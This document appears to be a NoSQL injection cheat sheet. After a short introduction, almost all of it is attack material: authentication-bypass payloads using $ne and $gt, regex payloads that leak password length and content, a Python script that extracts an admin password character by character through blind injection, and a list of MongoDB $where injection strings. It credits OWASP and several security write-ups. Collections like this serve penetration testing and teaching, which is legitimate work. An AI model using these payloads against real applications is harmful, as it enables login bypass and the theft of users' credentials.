NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

Basic authentication bypass using not equal ($ne) or greater ($gt)

```
in URL
username[$ne]=toto&password[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```

Extract length information

```
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```

Extract data information

```
in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```

Blind NoSQL

```
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}'
% (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c
```

MongoDB Payloads

```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { em
it(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```

Thanks to

- Les NOSQL injections Classique et Blind: Never trust user input - Geluchat (https://www.dailysecurity.fr/nosql-injections-classique-blind/)
- Testing for NoSQL injection - OWASP (https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
- cr0hn - NoSQL injection wordlists (https://github.com/cr0hn/nosqlinjection_wordlists)
- Zanon - NoSQL Injection in MongoDB (https://zanon.io/posts/nosql-injection-in-mongodb)